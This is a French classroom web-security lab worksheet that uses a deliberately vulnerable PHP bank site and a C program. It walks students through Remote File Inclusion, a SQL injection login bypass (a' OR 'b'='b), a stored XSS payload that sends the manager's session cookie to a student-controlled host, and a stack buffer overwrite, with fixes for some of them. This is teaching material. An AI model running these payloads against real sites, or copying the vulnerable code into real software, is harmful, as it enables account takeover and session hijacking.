Pour chacun des composants logiciels suivants :
- prenez le temps de faire une recherche internet. Au minimum, visitez la page principale du logiciel en plus de sa page wikipedia.
- vérifiez que vous comprenez les grandes lignes du logiciel. A quoi il sert, comment il s'insère dans le fonctionnement du système. A quoi il pourrait vous être utile. Imaginez des scénarios d'utilisation.
Vérifiez que vous arrivez à voir son site de banque en ligne.
En cas de besoin, votre voisin pourra re-instaler le site en relançant tout simplement: ./banque-install.sh
Prenez le temps de naviguer tous les liens de ce site très simple.
Essayez de vous connecter:
Par exemple, il y a un compte appelé 'karim' dont le mot de passe est 'azerty'.
Téléchargez le code source du site ici :
banque.tar.gz
Désarchivez-le, mais ne l'installez pas.
Vous l'utiliserez uniquement pour comprendre le fonctionnement du logiciel.
Prenez le temps de lire les différents fichiers PHP.
Lisez aussi le fichier banque.sql qui sert, lors de l'installation, à créer la base de données.
Remarque: lors de l'installation, le fichier banque.sql et le répertoire secret ont été supprimés.
Dans les pages suivantes, on va commencer par une faille de sécurité assez simple appelée « Remote File Inclusion »
Quel est le nom du fichier PHP où se trouvent les liens « connexion | deconnexion | mentions légales | le mot du gerant | emploi » ?
(on demande juste le nom du fichier)
Regardez en détail fin-page.php
Vous remarquerez que les liens « mentions légales | le mot du gerant | emploi » se ressemblent.
Quel est le nom du fichier PHP qui gère ces trois pages ?On sait que la banque en ligne de votre voisin garde le code secret de
son coffre fort dans un fichier appelé « code-coffre-fort.txt ».
Ce fichier se trouve dans le répertoire /var/local/banque/ de sa machine.
Or, les fichiers accessibles à partir du web sont dans /var/www
On ne peut donc pas accéder directement à code-coffre-fort.txt par une requête web.
On va donc essayer d'utiliser une astuce pour y accéder.
Sur votre machine, lisez attentivement afficher-texte.php pour comprendre comment il marche.
Ensuite, essayez de récupérer le code du coffre fort de la banque de votre voisin.
Quelle URL faut-il taper dans votre navigateur pour récupérer ce code ?
(on demande l'URL en entier)
La faille de sécurité est dans le code suivant :
$fichier=$_GET['fichier'];
require_once $fichier;
Comme souvent, le développeur PHP a oublié de vérifier que les données venant de l'utilisateur ($_GET) étaient conformes à ce qu'il attendait (un des noms de fichier texte).
C'est une faille classique appelée « Remote File Inclusion »
http://fr.wikipedia.org/wiki/Remote_File_Inclusion
Que faudrait-il écrire pour corriger ce code ?
Une solution:
$fichier=$_GET['fichier'];
if($fichier!=='mentions-legales.txt' &&
$fichier!=='mot-gerant.txt' &&
$fichier!=='emploi.txt' )
{
die('Tentative de piratage !');
}
require_once $fichier;
$fichier=$_GET['fichier'];
if(!preg_match('@^[a-z-]+\.txt$',$fichier))
{
die('Tentative de piratage !');
}
require_once $fichier;
Une autre faille classique, très courante, est l' « Injection SQL ».
L'idée est la suivante :
Le développeur écrit une requête SQL qui contient des données fournies par l'utilisateur.
Si le développeur n'a pas fait attention, l'utilisateur peut fournir des données qui vont modifier la requête.
Lisez attentivement le fichier "connexion.php".
Dans les pages suivantes, on va comprendre, ensemble, cette faille de sécurité.
Si dans le formulaire, un utilisateur rentrait le nom "karim" et le mot de passe "azerty", quelle serait la requête SQL exécutée ?
(on veut juste la requête : c'est à dire, le contenu de la variable $sql)
Il faut être très précis, avec exactement le contenu de la variable.
Il vaut mieux faire un copier-coller, puis ajuster, que de réecrire.
Si un utilisateur rentrait le nom "karim" et le mot de passe :
a'b
quelle serait la requête SQL exécutée ?
(répondez très précisément)
Sur la page connexion de la banque de votre voisin, essayez de rentrer le login "karim" et le mot de passe suivant :
a'b
Que se passe-il ?
Est-ce que la requête exécutée suivante :
SELECT * FROM utilisateurs WHERE nom='karim' AND motdepasse='a'b'
est valide ?
On a réussi a faire échouer une requête SQL sur la banque cible.
Ce n'était pas prévu par la banque, mais pour l'instant ça ne fait pas grande chose.
Il s'agit maintenant de modifier la requête de telle manière à ce qu'elle accepte n'importe quel mot de passe.
On sait que le nom du gerant est tout simplement "gerant".
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='XXX'
On sait qu'on peut rentrer ce que l'on veut à la place de XXX.
On sait qu'en rentrant un guillemet simple, on peut « sortir » de l'endroit prévu et fournir du code SQL.
Pour résumer :
on doit imaginer une requête SQL qui commence par:
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='
qui finit par un guillemet (on n'a pas le choix)
et qui accepte n'importe quel mot de passe.
Essayez d'en trouver une.
Si vous ne trouvez pas, une indication supplémentaire est donnée à la page suivante.
Rappel :
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='XXX'
La requête dit :
nom='gerant' AND motdepasse=...
si on arrivait à ajouter une condition "OR" supplémentaire qui soit toujours vraie, alors la requête serait vraie quelque soit quel mot de passe.
Essayez de trouver de vous mêmes.
(solution à la page suivante).
Il y a beaucoup de solutions possibles.
Voici une requête qui correspond à ce qu'on cherche:
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='a' OR 'b'='b'Elle commence bien par:
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='Elle finit bien par un guillemet .
AND motdepasse='a' OR 'b'='b'est toujours vraie.
SELECT * FROM utilisateurs WHERE nom='gerant'
Sur la banque de votre voisin, dans le formulaire de connexion, essayez de rentrer les nom et mot de passe nécessaires pour générer la requête suivante et donc se connecter en tant que "gerant".
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='a' OR 'b'='b'
Que faut-il rentrer dans le champs mot de passe du formulaire pour exécuter cette requête ?
On a réussi à prendre le contrôle du compte "gerant".
Le problème était dans le PHP suivant:
$sql="SELECT * FROM utilisateurs WHERE nom='".$_POST['nom']."' AND motdepasse='".$_POST['motdepasse']."'";
Le développeur insère directement dans le SQL des données fournies par l'utilisateur ($_POST['nom'] et $_POST['motdepasse']) sans vérifer leur contenu.
Il s'attendait implicitement à recevoir une chaîne simple, mais a reçu une chaîne contenant un cratère spécial : le guillemet.
Une solution est d'échapper les guillemets dans les données fournies par l'utilisateur.
La fonction PHP mysqli_real_escape_string() permet de le faire.
Pour pouvoir faire la suite, déconnectez-vous du compte "gerant".
On va voir un troisième type de faille, très courante sur les sites web : les XSS « Cross-site scripting »
L'idée est la suivante :
Dans un formulaire prévu pour rentrer un message (par exemple, un forum), le pirate rentre du code HTML contenant du JavaScript .
Plus tard, un autre utilisateur (ici "gerant") visite une page web ou est affiché ce message.
Si le site cible est mal conçu (c'est fréquent), il affiche directement le HTML contenant le JavaScript.
Donc, le navigateur de "gerant" vient d'exécuter du JavaScript fourni par le pirate.
On verra plus tard ce que le pirate peut faire avec ce JavaScript.
Voyons ca ensemble.
Connectez-vous sur la banque de votre voisin en tant que 'karim' (mot de passe 'azerty').
Cliquez sur le lien "envoyer un message au gérant".
Envoyez un message simple au gérant et demandez à votre voisin (qui connaît le mot de passe de "gerant") de vérifier s'il l'a bien reçu.
Quel est le nom (juste le nom) de la balise HTML permettant d'exécuter du JavaScript dans une page web ?
On va commencer par exploiter la faille XSS pour afficher un alert() dans le navigateur de "gerant".
(utilisez la version de <script> qui insère directement du JS, pas celle qui utilise src="...")
Que faut-il taper dans le formulaire message ?
(vérifiez d'abord avec votre voisin)
Cet exercice est très compliqué.
Faîtes le uniquement si vous êtes en avance.
La connexion à un site web fonctionne grâce à une information appelée "cookie".
Le cookie est gardé sur le navigateur et est envoyé au serveur à chaque page visitée.
En PHP, quand on utilise $_SESSION (session_start()) un cookie est crée sur le navigateur.
Ce cookie de session permet au serveur d'identifier le navigateur / utilisateur.
Ce cookie est donc critique pour la sécurité.
Si un pirate connaissait le cookie de "gerant", il pourrait se faire passer pour "gerant".
En JavaScript on accède aux cookies avec la variable « document.cookie »
document.cookie="PHPSESSID=4caamlhp4kriop62o368m5jpn0"
En cas de difficulté: utiliser les outils de dev Firefox, dans la console, cliquez sur l'onglet "Stockage", puis dans le cookie correspondant, copiez la valeur.
Vérifiez que vous êtes bien maintenant dans la session de "gerant" !!
Déconnectez-vous ... c'est de la triche :-)
On va essayer d'utiliser la faille XSS.
C'est ici que ca devient vraiment très compliqué.
Vous devez écrire dans le message du JavaScript qui réussisse à vous transmettre le cookie de "gerant".
La solution la plus simple est d'insérer une image dont le lien src pointe vers un serveur web à vous.
Dans ce lien src vous pouvez ajouter le cookie.
Ensuite, en regardant les logs de votre serveur vous verrez le lien (avec le cookie).
Essayez ... (bon courage!)
Voici ce qu'on peut taper dans le formulaire de message:
<img id="imagexss" src="http://192.168.xx.xx/"/><script>document.getElementById("imagexss").src+=document.cookie;</script>
Une image est crée et le cookie est ajouté par le JS à la fin du src.
Quand "gerant" visite sa page, ce JS est exécuté.
Ensuite sur votre machine (192.168.xx.xx) vous pouvez taper :
tail /var/log/apache2/access.logVous devez voir une ligne du type:
192.168.yy.yy - - [04/Mar/2015:10:01:40 +0100] "GET /PHPSESSID=c76ip7c1thg4u1e5mtt8fulma0 HTTP/1.1" 404 523 "http://192.168.yy.yy/banque/index.php" "Mozilla/5.0 (X11; Debian; Linux i686; rv:34.0) Gecko/20100101 Firefox/34.0"Il ne vous reste plus qu'à copier le cookie dans la console de votre navigateur pour prendre le contrôle de la session de "gerant".
Créez le fichier suivant et compilez-le avec:
gcc virement-banque.c -o virement-banque
virement-banque.c
#include <stdio.h>
#include <string.h>
int main();
void ajouter_message_et_faire_virement(char *dest0,int montant);
void afficher_memoire(char *ptr);
int main()
{
ajouter_message_et_faire_virement("Mme. Bettencourt",100000);
}
void ajouter_message_et_faire_virement(char *dest0,int montant)
{
char destinataire[24]={0};
char message[16]={0};
strcpy(destinataire,dest0);
printf("Rentrez un message pour le virement: ");
scanf("%s",message);
printf("Le virement de %d euros a été effectué.\n",montant);
printf("Le destinataire est: %s\n",destinataire);
printf("Le message ajouté est: %s\n",message);
// Cette fonction est la uniquement pour vous aider à comprendre.
afficher_memoire(destinataire > message ? message : destinataire);
}
// Afficher des adresses et un bloc de mémoire
void afficher_memoire(char *ptr)
{
int addrSize=sizeof(char *);
int i,j;
char c;
printf("\n\n*********************\n");
printf("adresse de message : %016lx\n",(unsigned long)ptr);
printf("adresse de main(): %016lx\n",(unsigned long)main);
printf("\n");
printf("Mémoire:\n");
printf(" addresse : lettres\n");
for(i=0;i<20*addrSize;i+=addrSize)
{
printf("%3d: %016lx : ",i,*((unsigned long int *)(ptr+i)));
for(j=0;j<addrSize;j++)
{
c=ptr[i+j];
printf("%c ",(c>=32 && c!=127) ? c : '-');
}
printf("\n");
}
}
On va devoir lire des adresses et des lettres.
Pour ne pas s'emmêler, il faut comprendre la différence entre une lettre et son code ASCII en hexadécimal.
Quel est le code ASCII de la lettre 'A' majuscule en hexadécimal ?
(cherchez sur le web)
Exécutez le programme avec ./virement-banque
Rentrez un message pour le virement et essayez de comprendre l'affichage.
A la fin du programme est affiché un bloc de mémoire commençant à l'adresse de "message" (mais allant bien au delà de la fin de message).
L'affichage est constitué de 4 octets par ligne.
La première colonne affiche ces 4 octets au format "adresse".
Si ces 4 octets contiennent une adresse, elle sera lisible ici.
La deuxième colonne affiche ces mêmes 4 octets au format "lettres".
Si ces 4 octets contiennent du texte, il sera lisible ici.
Par exemple, exécutez le programme et rentrez un message constitué uniquement d'une lettre 'A' majuscule.
Quelle est la première "adresse" affichée ?
Bien sur "0000000000000041" n'est pas vraie une adresse.
Ces 8 octets contiennent du texte, donc la valeur est à lire sur la 2e colonne "lettres" : "A - - -"
Remarquez que l'ordre est inversé on a bien "0000000000000041" et pas "4100000000000000".
(la raison, si elle vous intéresse est expliquée ici)
Lisez attentivement virement-banque.c et essayez de comprendre.
La fonction ajouter_message_et_faire_virement() est très simple.
Elle se résume à la déclaration de deux chaînes de caractères et à l'appel de scanf().
On va voir une faille de sécurité simple appelée « Buffer overwrite ».
C'est une variante simple du « Buffer overflow ».
Exécutez plusieurs fois le ./virement-banque en rentrant d'abord un message court, puis de plus en plus long.
Que constatez vous ?
Quel message faut-il taper pour changer le destinataire du virement à "Moi", à la place de "Mme. Bettencourt" ?
scanf() ne vérifie pas la taille de la chaîne tapée.
L'emplacement mémoire ("Buffer") de la chaîne "destinataire" se trouve juste après l'emplacement de "message".
Si on rentre un message trop long, le message déborde ("overflow") et écrase ("overwrite") la chaîne "destinataire".
Le « buffer overflow » est beaucoup plus compliqué à exploiter.
Dans
la technique du « buffer overflow » on déborde plus loin dans la
mémoire (pile) jusqu'à atteindre l'adresse de retour de la fonction.
On modifie cette adresse de retour pour qu'elle pointe vers le début de la pile ("message").
Comme le début de la pile ("message") contient des données fournies par nous, on peut y mettre un programme.
On aura donc réussi à faire exécuter un programme à nous par un autre programme.
En pratique, c'est très compliqué.
Le principal problème pour le pirate est qu'il ne connaît pas l'adresse du début de la pile (l'adresse de "message").
Ici, dans ce programme, elle est affichée, mais ce n'est pas le cas dans un "vrai" programme.
Ensuite il faut écrire du code assembleur, et contourner des protections (stack smashing).
C'est possible... mais c'est trop compliqué pour nous.
Essayons tout de même de retrouver l'adresse de retour dans cet exemple.
On sait que ajouter_message_et_faire_virement() est appelée dans main.
Quand ajouter_message_et_faire_virement() fini, le programme doit retourner dans main, juste après l'appel de cette fonction.
Cette adresse de retour est stockée vers la fin de la pile.
Donc son adresse devrait être légèrement supérieure à celle de main().
Rentrez un message pour le virement: AAA
Le virement de 100000 euros a été effectué.
Le destinataire est: Mme. Bettencourt
Le message ajouté est: AAA
*********************
adresse de message : 00007ffe4f1e77f0
adresse de main(): 0000000000400646
Mémoire:
addresse : lettres
0: 0000000000414141 : A A A - - - - -
8: 0000000000000000 : - - - - - - - -
16: 746542202e656d4d : M m e . B e t
24: 7472756f636e6574 : t e n c o u r t
32: 0000000000000000 : - - - - - - - -
40: 0000000000400550 : P - @ - - - - -
48: 00007ffe4f1e7830 : 0 x - O - - - -
56: 0000000000400659 : Y - @ - - - - -
64: 0000000000000000 : - - - - - - - -
72: 00007f8594fd8b45 : E - - - - - - -
80: 0000000000000000 : - - - - - - - -
88: 00007ffe4f1e7918 : - y - O - - - -
96: 0000000100000000 : - - - - - - - -
104: 0000000000400646 : F - @ - - - - -
112: 0000000000000000 : - - - - - - - -
120: 705168b7dde524d4 : - $ - - - h Q p
128: 0000000000400550 : P - @ - - - - -
136: 00007ffe4f1e7910 : - y - O - - - -
144: 0000000000000000 : - - - - - - - -
152: 0000000000000000 : - - - - - - - -